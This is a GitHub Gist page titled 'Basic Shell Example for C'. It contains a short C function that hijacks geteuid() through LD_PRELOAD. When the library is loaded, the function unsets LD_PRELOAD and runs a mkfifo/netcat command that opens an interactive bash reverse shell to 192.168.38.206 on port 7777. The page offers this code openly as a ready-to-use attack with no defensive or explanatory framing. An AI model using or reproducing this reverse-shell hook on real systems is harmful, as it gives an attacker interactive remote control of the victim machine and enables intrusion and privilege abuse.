Created
May 11, 2020 23:39
-
-
Save subfission/f5bcb2bdd9a2ca8365631ea982a0ff2d to your computer and use it in GitHub Desktop.
Basic Shell Example for C
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/types.h> | |
int geteuid() { | |
if (getenv("LD_PRELOAD") == NULL) { | |
return 0; | |
} | |
unsetenv("LD_PRELOAD"); | |
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.38.206 7777 >/tmp/f"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment